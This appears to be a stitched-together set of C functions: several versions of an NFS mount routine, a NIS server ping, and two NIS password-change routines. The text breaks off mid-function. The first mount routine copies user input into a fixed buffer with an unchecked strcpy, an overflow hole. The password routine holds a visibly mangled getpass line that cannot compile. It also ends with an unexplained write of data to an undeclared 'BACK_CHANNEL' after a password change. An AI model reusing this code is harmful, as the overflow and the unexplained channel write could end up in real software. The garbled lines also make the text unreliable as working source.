int nfsmount(const char *spec, const char *node, int *flags, char **orig_opts, char **extra_opts) { char hostdir[1024]; CLIENT *mclient; char *hostname; char *dirname; char new_opts[1024]; fhandle root_fhandle; struct timeval total_timeout; enum clnt_stat clnt_stat; static struct nfs_mount_data data; char *opts, *opt, *opteq; int val; struct hostent *hp; struct sockaddr_in server_addr; int msock, fsock; struct timeval pertry_timeout; struct fhstatus status; char *s; int port; int bg; int soft; int intr; int posix; int nocto; int noac; int retry; msock = fsock = -1; mclient = NULL; strcpy(hostdir, spec); if ((s = (strchr(hostdir, ':')))) { hostname = hostdir; dirname = s + 1; *s = '\0'; } else { fprintf(stderr, "mount: " "directory to mount not in host:dir format\n"); goto fail; } if (hostname[0] >= '0' && hostname[0] <= '9') { server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = inet_addr(hostname); } else if ((hp = gethostbyname(hostname)) == NULL) { fprintf(stderr, "mount: can't get address for %s\n", hostname); goto fail; } else { server_addr.sin_family = AF_INET; memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length); } /* add IP address to mtab options for use when unmounting */ sprintf(new_opts, "%s%saddr=%s", *orig_opts ? *orig_opts : "", *orig_opts ? "," : "", inet_ntoa(server_addr.sin_addr)); *orig_opts = strdup(new_opts); /* set default options */ data.rsize = 0; /* let kernel decide */ data.wsize = 0; /* let kernel decide */ data.timeo = 7; data.retrans = 3; data.acregmin = 3; data.acregmax = 60; data.acdirmin = 30; data.acdirmax = 60; port = 2049; bg = 0; soft = 0; intr = 0; posix = 0; nocto = 0; noac = 0; retry = 10000; /* parse options */ if ((opts = *extra_opts)) { for (opt = strtok(opts, ","); opt; opt = strtok(NULL, ",")) { if ((opteq = strchr(opt, '='))) { val = atoi(opteq + 1); *opteq = '\0'; if (!strcmp(opt, "rsize")) data.rsize = val; else if (!strcmp(opt, "wsize")) data.wsize = val; else if (!strcmp(opt, "timeo")) data.timeo = val; else if (!strcmp(opt, "retrans")) data.retrans = val; else if (!strcmp(opt, "acregmin")) data.acregmin = val; else if (!strcmp(opt, "acregmax")) data.acregmax = val; else if (!strcmp(opt, "acdirmin")) data.acdirmin = val; else if (!strcmp(opt, "acdirmax")) data.acdirmax = val; else if (!strcmp(opt, "actimeo")) { data.acregmin = val; data.acregmax = val; data.acdirmin = val; data.acdirmax = val; } else if (!strcmp(opt, "port")) port = val; else if (!strcmp(opt, "retry")) retry = val; else { printf("unknown nfs mount parameter: " "%s=%d\n", opt, val); goto fail; } } else { val = 1; if (!strncmp(opt, "no", 2)) { val = 0; opt += 2; } if (!strcmp(opt, "bg")) bg = val; else if (!strcmp(opt, "fg")) bg = !val; else if (!strcmp(opt, "soft")) soft = val; else if (!strcmp(opt, "hard")) soft = !val; else if (!strcmp(opt, "intr")) intr = val; else if (!strcmp(opt, "posix")) posix = val; else if (!strcmp(opt, "cto")) nocto = !val; else if (!strcmp(opt, "ac")) noac = !val; else { printf("unknown nfs mount option: " "%s%s\n", val ? "" : "no", opt); goto fail; } } } } data.flags = (soft ? NFS_MOUNT_SOFT : 0) | (intr ? NFS_MOUNT_INTR : 0) | (posix ? NFS_MOUNT_POSIX : 0) | (nocto ? NFS_MOUNT_NOCTO : 0) | (noac ? NFS_MOUNT_NOAC : 0); #if 0 printf("rsize = %d, wsize = %d, timeo = %d, retrans = %d\n", data.rsize, data.wsize, data.timeo, data.retrans); printf("acreg (min, max) = (%d, %d), acdir (min, max) = (%d, %d)\n", data.acregmin, data.acregmax, data.acdirmin, data.acdirmax); printf("port = %d, bg = %d, retry = %d, flags = %.8x\n", port, bg, retry, data.flags); printf("soft = %d, intr = %d, posix = %d, nocto = %d, noac = %d\n", (data.flags & NFS_MOUNT_SOFT) != 0, (data.flags & NFS_MOUNT_INTR) != 0, (data.flags & NFS_MOUNT_POSIX) != 0, (data.flags & NFS_MOUNT_NOCTO) != 0, (data.flags & NFS_MOUNT_NOAC) != 0); goto fail; #endif /* create mount deamon client */ pertry_timeout.tv_sec = 3; pertry_timeout.tv_usec = 0; total_timeout.tv_sec = 20; total_timeout.tv_usec = 0; server_addr.sin_port = 0; msock = RPC_ANYSOCK; if ((mclient = clntudp_create(&server_addr, MOUNTPROG, MOUNTVERS, pertry_timeout, &msock)) == NULL) { clnt_pcreateerror("mount clntudp_create"); goto fail; } mclient->cl_auth = authunix_create_default(); /* try to mount hostname:dirname */ clnt_stat = clnt_call(mclient, MOUNTPROC_MNT, xdr_dirpath, &dirname, xdr_fhstatus, &status, total_timeout); if (clnt_stat != RPC_SUCCESS) { clnt_perror(mclient, "rpc mount"); goto fail; } if (status.fhs_status != 0) { fprintf(stderr, "mount: %s:%s failed, reason given by server: %s\n", hostname, dirname, nfs_strerror(status.fhs_status)); goto fail; } memcpy((char *) &root_fhandle, (char *) status.fhstatus_u.fhs_fhandle, sizeof (root_fhandle)); /* create nfs socket for kernel */ fsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (fsock < 0) { perror("nfs socket"); goto fail; } if (bindresvport(fsock, 0) < 0) { perror("nfs bindresvport"); goto fail; } server_addr.sin_port = htons(port); if (connect(fsock, (struct sockaddr *) &server_addr, sizeof (server_addr)) < 0) { perror("nfs connect"); goto fail; } /* prepare data structure for kernel */ data.version = NFS_MOUNT_VERSION; data.fd = fsock; memcpy((char *) &data.root, (char *) &root_fhandle, sizeof (root_fhandle)); memcpy((char *) &data.addr, (char *) &server_addr, sizeof(data.addr)); strncpy(data.hostname, hostname, sizeof(data.hostname)); *extra_opts = (char *) &data; /* clean up */ auth_destroy(mclient->cl_auth); clnt_destroy(mclient); close(msock); return 0; /* abort */ fail: if (msock != -1) { auth_destroy(mclient->cl_auth); clnt_destroy(mclient); close(msock); } if (fsock != -1) close(fsock); return 1; }
int __yp_ping(struct in_addr *restricted_addrs, int cnt, char *dom, short *port) { struct timeval tv = { 5, 0 }; struct ping_req **reqs; unsigned long i; int async; struct sockaddr_in sin, *any = NULL; struct netbuf addr; int winner = -1; u_int32_t xid_seed, xid_lookup; int sock, dontblock = 1; CLIENT *clnt; char *foo = dom; int validsrvs = 0; /* Set up handles. */ reqs = calloc(1, sizeof(struct ping_req *) * cnt); xid_seed = time(NULL) ^ getpid(); for (i = 0; i < cnt; i++) { bzero((char *)&sin, sizeof(sin)); sin.sin_family = AF_INET; bcopy((char *)&restricted_addrs[i], (char *)&sin.sin_addr, sizeof(struct in_addr)); sin.sin_port = htons(__pmap_getport(&sin, YPPROG, YPVERS, IPPROTO_UDP)); if (sin.sin_port == 0) continue; reqs[i] = calloc(1, sizeof(struct ping_req)); bcopy((char *)&sin, (char *)&reqs[i]->sin, sizeof(sin)); any = &reqs[i]->sin; reqs[i]->xid = xid_seed; xid_seed++; validsrvs++; } /* Make sure at least one server was assigned */ if (!validsrvs) { free(reqs); return(-1); } /* Create RPC handle */ sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); clnt = clntudp_create(any, YPPROG, YPVERS, tv, &sock); if (clnt == NULL) { close(sock); for (i = 0; i < cnt; i++) if (reqs[i] != NULL) free(reqs[i]); free(reqs); return(-1); } clnt->cl_auth = authunix_create_default(); tv.tv_sec = 0; clnt_control(clnt, CLSET_TIMEOUT, (char *)&tv); async = TRUE; clnt_control(clnt, CLSET_ASYNC, (char *)&async); ioctl(sock, FIONBIO, &dontblock); /* Transmit */ for (i = 0; i < cnt; i++) { if (reqs[i] != NULL) { clnt_control(clnt, CLSET_XID, (char *)&reqs[i]->xid); addr.len = sizeof(reqs[i]->sin); addr.buf = (char *) &reqs[i]->sin; clnt_control(clnt, CLSET_SVC_ADDR, &addr); ypproc_domain_nonack_2_send(&foo, clnt); } } /* Receive reply */ ypproc_domain_nonack_2_recv(&foo, clnt); /* Got a winner -- look him up. */ clnt_control(clnt, CLGET_XID, (char *)&xid_lookup); for (i = 0; i < cnt; i++) { if (reqs[i] != NULL && reqs[i]->xid == xid_lookup) { winner = i; *port = reqs[i]->sin.sin_port; } } /* Shut everything down */ auth_destroy(clnt->cl_auth); clnt_destroy(clnt); close(sock); for (i = 0; i < cnt; i++) if (reqs[i] != NULL) free(reqs[i]); free(reqs); return(winner); }
int nfsmount(const char *spec, const char *node, int *flags, char **extra_opts, char **mount_opts, int running_bg) { static char *prev_bg_host; char hostdir[1024]; CLIENT *mclient; char *hostname; char *dirname; char *old_opts; char *mounthost=NULL; char new_opts[1024]; fhandle root_fhandle; struct timeval total_timeout; enum clnt_stat clnt_stat; static struct nfs_mount_data data; char *opt, *opteq; int val; struct hostent *hp; struct sockaddr_in server_addr; struct sockaddr_in mount_server_addr; int msock, fsock; struct timeval retry_timeout; struct fhstatus status; struct stat statbuf; char *s; int port; int mountport; int bg; int soft; int intr; int posix; int nocto; int noac; int nolock; int retry; int tcp; int mountprog; int mountvers; int nfsprog; int nfsvers; int retval; time_t t; time_t prevt; time_t timeout; find_kernel_nfs_mount_version(); retval = EX_FAIL; msock = fsock = -1; mclient = NULL; if (strlen(spec) >= sizeof(hostdir)) { fprintf(stderr, "mount: " "excessively long host:dir argument\n"); goto fail; } strcpy(hostdir, spec); if ((s = (strchr(hostdir, ':')))) { hostname = hostdir; dirname = s + 1; *s = '\0'; } else { fprintf(stderr, "mount: " "directory to mount not in host:dir format\n"); goto fail; } server_addr.sin_family = AF_INET; #if 1 /* old libc's do not have inet_aton() -- change 1 to 0 */ if (!inet_aton(hostname, &server_addr.sin_addr)) #endif { #ifdef EMBED fprintf(stderr, "ERROR (%d): no gethostbyname()\n", __LINE__); #else if ((hp = gethostbyname(hostname)) == NULL) { fprintf(stderr, "mount: can't get address for %s\n", hostname); goto fail; } else { if (hp->h_length > sizeof(struct in_addr)) { fprintf(stderr, "mount: got bad hp->h_length\n"); hp->h_length = sizeof(struct in_addr); } memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length); } #endif } memcpy (&mount_server_addr, &server_addr, sizeof (mount_server_addr)); /* add IP address to mtab options for use when unmounting */ s = inet_ntoa(server_addr.sin_addr); old_opts = *extra_opts; if (!old_opts) old_opts = ""; if (strlen(old_opts) + strlen(s) + 10 >= sizeof(new_opts)) { fprintf(stderr, "mount: " "excessively long option argument\n"); goto fail; } sprintf(new_opts, "%s%saddr=%s", old_opts, *old_opts ? "," : "", s); *extra_opts = xstrdup(new_opts); /* Set default options. * rsize/wsize (and bsize, for ver >= 3) are left 0 in order to * let the kernel decide. * timeo is filled in after we know whether it'll be TCP or UDP. */ memset(&data, 0, sizeof(data)); data.retrans = 3; data.acregmin = 3; data.acregmax = 60; data.acdirmin = 30; data.acdirmax = 60; #if NFS_MOUNT_VERSION >= 2 data.namlen = NAME_MAX; #endif bg = 0; soft = 0; intr = 0; posix = 0; nocto = 0; nolock = 0; noac = 0; retry = 10000; /* 10000 minutes ~ 1 week */ tcp = 0; mountprog = MOUNTPROG; mountvers = MOUNTVERS; port = 0; mountport = 0; nfsprog = NFS_PROGRAM; nfsvers = NFS_VERSION; /* parse options */ for (opt = strtok(old_opts, ","); opt; opt = strtok(NULL, ",")) { if ((opteq = strchr(opt, '='))) { val = atoi(opteq + 1); *opteq = '\0'; if (!strcmp(opt, "rsize")) data.rsize = val; else if (!strcmp(opt, "wsize")) data.wsize = val; else if (!strcmp(opt, "timeo")) data.timeo = val; else if (!strcmp(opt, "retrans")) data.retrans = val; else if (!strcmp(opt, "acregmin")) data.acregmin = val; else if (!strcmp(opt, "acregmax")) data.acregmax = val; else if (!strcmp(opt, "acdirmin")) data.acdirmin = val; else if (!strcmp(opt, "acdirmax")) data.acdirmax = val; else if (!strcmp(opt, "actimeo")) { data.acregmin = val; data.acregmax = val; data.acdirmin = val; data.acdirmax = val; } else if (!strcmp(opt, "retry")) retry = val; else if (!strcmp(opt, "port")) port = val; else if (!strcmp(opt, "mountport")) mountport = val; else if (!strcmp(opt, "mounthost")) mounthost=xstrndup(opteq+1, strcspn(opteq+1," \t\n\r,")); else if (!strcmp(opt, "mountprog")) mountprog = val; else if (!strcmp(opt, "mountvers")) mountvers = val; else if (!strcmp(opt, "nfsprog")) nfsprog = val; else if (!strcmp(opt, "nfsvers")) nfsvers = val; else if (!strcmp(opt, "namlen")) { #if NFS_MOUNT_VERSION >= 2 if (nfs_mount_version >= 2) data.namlen = val; else #endif printf("Warning: Option namlen is not supported.\n"); } else if (!strcmp(opt, "addr")) /* ignore */; else { printf("unknown nfs mount parameter: " "%s=%d\n", opt, val); goto fail; } } else { val = 1; if (!strncmp(opt, "no", 2)) { val = 0; opt += 2; } if (!strcmp(opt, "bg")) bg = val; else if (!strcmp(opt, "fg")) bg = !val; else if (!strcmp(opt, "soft")) soft = val; else if (!strcmp(opt, "hard")) soft = !val; else if (!strcmp(opt, "intr")) intr = val; else if (!strcmp(opt, "posix")) posix = val; else if (!strcmp(opt, "cto")) nocto = !val; else if (!strcmp(opt, "ac")) noac = !val; else if (!strcmp(opt, "tcp")) tcp = val; else if (!strcmp(opt, "udp")) tcp = !val; else if (!strcmp(opt, "lock")) { if (nfs_mount_version >= 3) nolock = !val; else printf("Warning: option nolock is not supported.\n"); } else { if (!sloppy) { printf("unknown nfs mount option: " "%s%s\n", val ? "" : "no", opt); goto fail; } } } } data.flags = (soft ? NFS_MOUNT_SOFT : 0) | (intr ? NFS_MOUNT_INTR : 0) | (posix ? NFS_MOUNT_POSIX : 0) | (nocto ? NFS_MOUNT_NOCTO : 0) | (noac ? NFS_MOUNT_NOAC : 0); #if NFS_MOUNT_VERSION >= 2 if (nfs_mount_version >= 2) data.flags |= (tcp ? NFS_MOUNT_TCP : 0); #endif #if NFS_MOUNT_VERSION >= 3 if (nfs_mount_version >= 3) data.flags |= (nolock ? NFS_MOUNT_NONLM : 0); #endif /* Adjust options if none specified */ if (!data.timeo) data.timeo = tcp ? 70 : 7; #ifdef NFS_MOUNT_DEBUG printf("rsize = %d, wsize = %d, timeo = %d, retrans = %d\n", data.rsize, data.wsize, data.timeo, data.retrans); printf("acreg (min, max) = (%d, %d), acdir (min, max) = (%d, %d)\n", data.acregmin, data.acregmax, data.acdirmin, data.acdirmax); printf("port = %d, bg = %d, retry = %d, flags = %.8x\n", port, bg, retry, data.flags); printf("mountprog = %d, mountvers = %d, nfsprog = %d, nfsvers = %d\n", mountprog, mountvers, nfsprog, nfsvers); printf("soft = %d, intr = %d, posix = %d, nocto = %d, noac = %d\n", (data.flags & NFS_MOUNT_SOFT) != 0, (data.flags & NFS_MOUNT_INTR) != 0, (data.flags & NFS_MOUNT_POSIX) != 0, (data.flags & NFS_MOUNT_NOCTO) != 0, (data.flags & NFS_MOUNT_NOAC) != 0); #if NFS_MOUNT_VERSION >= 2 printf("tcp = %d\n", (data.flags & NFS_MOUNT_TCP) != 0); #endif #endif data.version = nfs_mount_version; *mount_opts = (char *) &data; if (*flags & MS_REMOUNT) return 0; /* * If the previous mount operation on the same host was * backgrounded, and the "bg" for this mount is also set, * give up immediately, to avoid the initial timeout. */ if (bg && !running_bg && prev_bg_host && strcmp(hostname, prev_bg_host) == 0) { if (retry > 0) retval = EX_BG; return retval; } /* create mount deamon client */ /* See if the nfs host = mount host. */ if (mounthost) { if (mounthost[0] >= '0' && mounthost[0] <= '9') { mount_server_addr.sin_family = AF_INET; mount_server_addr.sin_addr.s_addr = inet_addr(hostname); } else { #ifdef EMBED fprintf(stderr, "ERROR (%d): no gethostbyname()\n", __LINE__); #else if ((hp = gethostbyname(mounthost)) == NULL) { fprintf(stderr, "mount: can't get address for %s\n", hostname); goto fail; } else { if (hp->h_length > sizeof(struct in_addr)) { fprintf(stderr, "mount: got bad hp->h_length?\n"); hp->h_length = sizeof(struct in_addr); } mount_server_addr.sin_family = AF_INET; memcpy(&mount_server_addr.sin_addr, hp->h_addr, hp->h_length); } #endif } } /* * The following loop implements the mount retries. On the first * call, "running_bg" is 0. When the mount times out, and the * "bg" option is set, the exit status EX_BG will be returned. * For a backgrounded mount, there will be a second call by the * child process with "running_bg" set to 1. * * The case where the mount point is not present and the "bg" * option is set, is treated as a timeout. This is done to * support nested mounts. * * The "retry" count specified by the user is the number of * minutes to retry before giving up. * * Only the first error message will be displayed. */ retry_timeout.tv_sec = 3; retry_timeout.tv_usec = 0; total_timeout.tv_sec = 20; total_timeout.tv_usec = 0; timeout = time(NULL) + 60 * retry; prevt = 0; t = 30; val = 1; for (;;) { if (bg && stat(node, &statbuf) == -1) { if (running_bg) { sleep(val); /* 1, 2, 4, 8, 16, 30, ... */ val *= 2; if (val > 30) val = 30; } } else { /* be careful not to use too many CPU cycles */ if (t - prevt < 30) sleep(30); /* contact the mount daemon via TCP */ mount_server_addr.sin_port = htons(mountport); msock = RPC_ANYSOCK; mclient = clnttcp_create(&mount_server_addr, mountprog, mountvers, &msock, 0, 0); /* if this fails, contact the mount daemon via UDP */ if (!mclient) { mount_server_addr.sin_port = htons(mountport); msock = RPC_ANYSOCK; mclient = clntudp_create(&mount_server_addr, mountprog, mountvers, retry_timeout, &msock); } if (mclient) { /* try to mount hostname:dirname */ mclient->cl_auth = authunix_create_default(); clnt_stat = clnt_call(mclient, MOUNTPROC_MNT, (xdrproc_t) xdr_dirpath, (caddr_t) &dirname, (xdrproc_t) xdr_fhstatus, (caddr_t) &status, total_timeout); if (clnt_stat == RPC_SUCCESS) break; /* we're done */ if (errno != ECONNREFUSED) { clnt_perror(mclient, "mount"); goto fail; /* don't retry */ } if (!running_bg && prevt == 0) clnt_perror(mclient, "mount"); auth_destroy(mclient->cl_auth); clnt_destroy(mclient); mclient = 0; close(msock); } else { if (!running_bg && prevt == 0) clnt_pcreateerror("mount"); } prevt = t; } if (!bg) goto fail; if (!running_bg) { prev_bg_host = xstrdup(hostname); if (retry > 0) retval = EX_BG; goto fail; } t = time(NULL); if (t >= timeout) goto fail; } if (status.fhs_status != 0) { fprintf(stderr, "mount: %s:%s failed, reason given by server: %s\n", hostname, dirname, nfs_strerror(status.fhs_status)); goto fail; } memcpy((char *) &root_fhandle, (char *) status.fhstatus_u.fhs_fhandle, sizeof (root_fhandle)); /* create nfs socket for kernel */ if (tcp) { if (nfs_mount_version < 3) { printf("NFS over TCP is not supported.\n"); goto fail; } fsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); } else fsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (fsock < 0) { perror("nfs socket"); goto fail; } if (bindresvport(fsock, 0) < 0) { perror("nfs bindresvport"); goto fail; } if (port == 0) { server_addr.sin_port = PMAPPORT; port = pmap_getport(&server_addr, nfsprog, nfsvers, tcp ? IPPROTO_TCP : IPPROTO_UDP); if (port == 0) port = NFS_PORT; #ifdef NFS_MOUNT_DEBUG else printf("used portmapper to find NFS port\n"); #endif } #ifdef NFS_MOUNT_DEBUG printf("using port %d for nfs deamon\n", port); #endif server_addr.sin_port = htons(port); /* * connect() the socket for kernels 1.3.10 and below only, * to avoid problems with multihomed hosts. * --Swen */ if (linux_version_code() <= 66314 && connect(fsock, (struct sockaddr *) &server_addr, sizeof (server_addr)) < 0) { perror("nfs connect"); goto fail; } /* prepare data structure for kernel */ data.fd = fsock; memcpy((char *) &data.root, (char *) &root_fhandle, sizeof (root_fhandle)); memcpy((char *) &data.addr, (char *) &server_addr, sizeof(data.addr)); strncpy(data.hostname, hostname, sizeof(data.hostname)); /* clean up */ auth_destroy(mclient->cl_auth); clnt_destroy(mclient); close(msock); return 0; /* abort */ fail: if (msock != -1) { if (mclient) { auth_destroy(mclient->cl_auth); clnt_destroy(mclient); } close(msock); } if (fsock != -1) close(fsock); return retval; }
void yp_chpass(char *username) { char *master; int r, rpcport, status; struct yppasswd yppasswd; struct passwd *pw; struct timeval tv; CLIENT *client; extern char *domain; (void)signal(SIGINT, kbintr); (void)signal(SIGQUIT, kbintr); if ((r = yp_get_default_domain(&domain)) != 0) { warnx("can't get local YP domain. Reason: %s", yperr_string(r)); exit(1); } /* * Find the host for the passwd map; it should be running * the daemon. */ if ((r = yp_master(domain, "passwd.byname", &master)) != 0) { warnx("can't find the master YP server. Reason: %s", yperr_string(r)); exit(1); } /* Ask the portmapper for the port of the daemon. */ if ((rpcport = getrpcport(master, YPPASSWDPROG, YPPASSWDPROC_UPDATE, IPPROTO_UDP)) == 0) { warnx("master YP server not running yppasswd daemon."); warnx("Can't change password."); exit(1); } if (rpcport >= IPPORT_RESERVED) { warnx("yppasswd daemon is on an invalid port."); exit(1); } /* If user doesn't exist, just prompt for old password and exit. */ pw = ypgetpwnam(username); if (pw) { if (pw->pw_uid == 0) { syslog(LOG_ERR, "attempted root password change"); pw = NULL; } else if (*pw->pw_passwd == '\0') { syslog(LOG_ERR, "%s attempting to add password", username); pw = NULL; } } if (pw == NULL) { char *p, salt[_PASSWORD_LEN + 1]; login_cap_t *lc; /* no such user, get appropriate salt to thwart timing attack */ if ((p = getpass("Old password:"******"xx", sizeof(salt)); crypt(p, salt); memset(p, 0, strlen(p)); } warnx("YP passwd database unchanged."); exit(1); } /* prompt for new password */ yppasswd.newpw.pw_passwd = ypgetnewpasswd(pw, &yppasswd.oldpass); /* tell rpc.yppasswdd */ yppasswd.newpw.pw_name = pw->pw_name; yppasswd.newpw.pw_uid = pw->pw_uid; yppasswd.newpw.pw_gid = pw->pw_gid; yppasswd.newpw.pw_gecos = pw->pw_gecos; yppasswd.newpw.pw_dir = pw->pw_dir; yppasswd.newpw.pw_shell = pw->pw_shell; client = clnt_create(master, YPPASSWDPROG, YPPASSWDVERS, "udp"); if (client == NULL) { warnx("cannot contact yppasswdd on %s: Reason: %s", master, yperr_string(YPERR_YPBIND)); free(yppasswd.newpw.pw_passwd); exit(1); } client->cl_auth = authunix_create_default(); tv.tv_sec = 2; tv.tv_usec = 0; r = clnt_call(client, YPPASSWDPROC_UPDATE, xdr_yppasswd, &yppasswd, xdr_int, &status, tv); if (r) warnx("rpc to yppasswdd failed."); else if (status) { printf("Couldn't change YP password.\n"); free(yppasswd.newpw.pw_passwd); exit(1); } printf("The YP password has been changed on %s, the master YP passwd server.\n", master); free(yppasswd.newpw.pw_passwd); (void)writev(BACK_CHANNEL, iov, 2); exit(0); }
void pwyp_process(const char *username, int argc, char **argv) { char *master; int ch, r, rpcport, status; enum clnt_stat yr; struct yppasswd ypp; struct passwd pwb, pwb2, *pw; char pwbuf[1024]; struct timeval tv; CLIENT *client; while ((ch = getopt(argc, argv, "y")) != -1) { switch (ch) { case 'y': /* * Abosrb the -y that may have gotten us here. */ break; default: usage(); /* NOTREACHED */ } } argc -= optind; argv += optind; switch (argc) { case 0: /* username already provided */ break; case 1: username = argv[0]; break; default: usage(); /*NOTREACHED*/ } if (_yp_check(NULL) == 0) { /* can't use YP. */ errx(EXIT_FAILURE, "NIS not in use."); } uid = getuid(); /* * Get local domain */ if ((r = yp_get_default_domain(&domain)) != 0) errx(EXIT_FAILURE, "Can't get local NIS domain (%s)", yperr_string(r)); /* * Find the host for the passwd map; it should be running * the daemon. */ if ((r = yp_master(domain, "passwd.byname", &master)) != 0) errx(EXIT_FAILURE, "Can't find the master NIS server (%s)", yperr_string(r)); /* * Ask the portmapper for the port of the daemon. */ if ((rpcport = getrpcport(master, YPPASSWDPROG, YPPASSWDPROC_UPDATE, IPPROTO_UDP)) == 0) errx(EXIT_FAILURE, "Master NIS server not running yppasswd " "daemon"); /* * Be sure the port is privileged */ if (rpcport >= IPPORT_RESERVED) errx(EXIT_FAILURE, "Yppasswd daemon is on an invalid port"); /* Bail out if this is a local (non-yp) user, */ /* then get user's login identity */ if (!ypgetpwnam(username, &pwb) || getpwnam_r(username, &pwb2, pwbuf, sizeof(pwbuf), &pw) || pw == NULL) errx(EXIT_FAILURE, "NIS unknown user %s", username); if (uid && uid != pwb.pw_uid) { errno = EACCES; err(EXIT_FAILURE, "You may only change your own password"); } makeypp(&ypp, &pwb); client = clnt_create(master, YPPASSWDPROG, YPPASSWDVERS, "udp"); if (client == NULL) errx(EXIT_FAILURE, "Cannot contact yppasswdd on %s (%s)", master, yperr_string(YPERR_YPBIND)); client->cl_auth = authunix_create_default(); tv.tv_sec = 2; tv.tv_usec = 0; yr = clnt_call(client, YPPASSWDPROC_UPDATE, xdr_yppasswd, &ypp, xdr_int, &status, tv); if (yr != RPC_SUCCESS) errx(EXIT_FAILURE, "RPC to yppasswdd failed (%s)", clnt_sperrno(yr)); else if (status) printf("Couldn't change NIS password.\n"); else printf("The NIS password has been changed on %s, %s\n", master, "the master NIS passwd server."); }
int nfsmount(const char *spec, const char *node, int *flags, char **extra_opts, char **mount_opts, int *nfs_mount_vers, int running_bg) { static char *prev_bg_host; char hostdir[1024]; CLIENT *mclient; char *hostname, *dirname, *old_opts, *mounthost = NULL; char new_opts[1024]; struct timeval total_timeout; enum clnt_stat clnt_stat; static struct nfs_mount_data data; char *opt, *opteq; int nfs_mount_version; int val; struct hostent *hp; struct sockaddr_in server_addr; struct sockaddr_in mount_server_addr; struct pmap *pm_mnt; int msock, fsock; struct timeval retry_timeout; union { struct fhstatus nfsv2; struct mountres3 nfsv3; } status; struct stat statbuf; char *s; int port, mountport, proto, bg, soft, intr; int posix, nocto, noac, nolock, broken_suid; int retry, tcp; int mountprog, mountvers, nfsprog, nfsvers; int retval; time_t t; time_t prevt; time_t timeout; /* The version to try is either specified or 0 In case it is 0 we tell the caller what we tried */ if (!*nfs_mount_vers) *nfs_mount_vers = find_kernel_nfs_mount_version(); nfs_mount_version = *nfs_mount_vers; retval = EX_FAIL; msock = fsock = -1; mclient = NULL; if (strlen(spec) >= sizeof(hostdir)) { fprintf(stderr, _("mount: " "excessively long host:dir argument\n")); goto fail; } strcpy(hostdir, spec); if ((s = strchr(hostdir, ':'))) { hostname = hostdir; dirname = s + 1; *s = '\0'; /* Ignore all but first hostname in replicated mounts until they can be fully supported. ([email protected]) */ if ((s = strchr(hostdir, ','))) { *s = '\0'; fprintf(stderr, _("mount: warning: " "multiple hostnames not supported\n")); } } else { fprintf(stderr, _("mount: " "directory to mount not in host:dir format\n")); goto fail; } server_addr.sin_family = AF_INET; #ifdef HAVE_inet_aton if (!inet_aton(hostname, &server_addr.sin_addr)) #endif { if ((hp = gethostbyname(hostname)) == NULL) { fprintf(stderr, _("mount: can't get address for %s\n"), hostname); goto fail; } else { if (hp->h_length > sizeof(struct in_addr)) { fprintf(stderr, _("mount: got bad hp->h_length\n")); hp->h_length = sizeof(struct in_addr); } memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length); } } memcpy (&mount_server_addr, &server_addr, sizeof (mount_server_addr)); /* add IP address to mtab options for use when unmounting */ s = inet_ntoa(server_addr.sin_addr); old_opts = *extra_opts; if (!old_opts) old_opts = ""; if (strlen(old_opts) + strlen(s) + 10 >= sizeof(new_opts)) { fprintf(stderr, _("mount: " "excessively long option argument\n")); goto fail; } sprintf(new_opts, "%s%saddr=%s", old_opts, *old_opts ? "," : "", s); *extra_opts = xstrdup(new_opts); /* Set default options. * rsize/wsize (and bsize, for ver >= 3) are left 0 in order to * let the kernel decide. * timeo is filled in after we know whether it'll be TCP or UDP. */ memset(&data, 0, sizeof(data)); data.retrans = 3; data.acregmin = 3; data.acregmax = 60; data.acdirmin = 30; data.acdirmax = 60; #if NFS_MOUNT_VERSION >= 2 data.namlen = NAME_MAX; #endif bg = 0; soft = 0; intr = 0; posix = 0; nocto = 0; nolock = 0; broken_suid = 0; noac = 0; retry = 10000; /* 10000 minutes ~ 1 week */ tcp = 0; mountprog = MOUNTPROG; mountvers = 0; port = 0; mountport = 0; nfsprog = NFS_PROGRAM; nfsvers = 0; /* parse options */ for (opt = strtok(old_opts, ","); opt; opt = strtok(NULL, ",")) { if ((opteq = strchr(opt, '='))) { val = atoi(opteq + 1); *opteq = '\0'; if (!strcmp(opt, "rsize")) data.rsize = val; else if (!strcmp(opt, "wsize")) data.wsize = val; else if (!strcmp(opt, "timeo")) data.timeo = val; else if (!strcmp(opt, "retrans")) data.retrans = val; else if (!strcmp(opt, "acregmin")) data.acregmin = val; else if (!strcmp(opt, "acregmax")) data.acregmax = val; else if (!strcmp(opt, "acdirmin")) data.acdirmin = val; else if (!strcmp(opt, "acdirmax")) data.acdirmax = val; else if (!strcmp(opt, "actimeo")) { data.acregmin = val; data.acregmax = val; data.acdirmin = val; data.acdirmax = val; } else if (!strcmp(opt, "retry")) retry = val; else if (!strcmp(opt, "port")) port = val; else if (!strcmp(opt, "mountport")) mountport = val; else if (!strcmp(opt, "mounthost")) mounthost=xstrndup(opteq+1, strcspn(opteq+1," \t\n\r,")); else if (!strcmp(opt, "mountprog")) mountprog = val; else if (!strcmp(opt, "mountvers")) mountvers = val; else if (!strcmp(opt, "nfsprog")) nfsprog = val; else if (!strcmp(opt, "nfsvers") || !strcmp(opt, "vers")) nfsvers = val; else if (!strcmp(opt, "proto")) { if (!strncmp(opteq+1, "tcp", 3)) tcp = 1; else if (!strncmp(opteq+1, "udp", 3)) tcp = 0; else printf(_("Warning: Unrecognized proto= option.\n")); } else if (!strcmp(opt, "namlen")) { #if NFS_MOUNT_VERSION >= 2 if (nfs_mount_version >= 2) data.namlen = val; else #endif printf(_("Warning: Option namlen is not supported.\n")); } else if (!strcmp(opt, "addr")) { /* ignore */; } else { printf(_("unknown nfs mount parameter: " "%s=%d\n"), opt, val); goto fail; } } else { val = 1; if (!strncmp(opt, "no", 2)) { val = 0; opt += 2; } if (!strcmp(opt, "bg")) bg = val; else if (!strcmp(opt, "fg")) bg = !val; else if (!strcmp(opt, "soft")) soft = val; else if (!strcmp(opt, "hard")) soft = !val; else if (!strcmp(opt, "intr")) intr = val; else if (!strcmp(opt, "posix")) posix = val; else if (!strcmp(opt, "cto")) nocto = !val; else if (!strcmp(opt, "ac")) noac = !val; else if (!strcmp(opt, "tcp")) tcp = val; else if (!strcmp(opt, "udp")) tcp = !val; else if 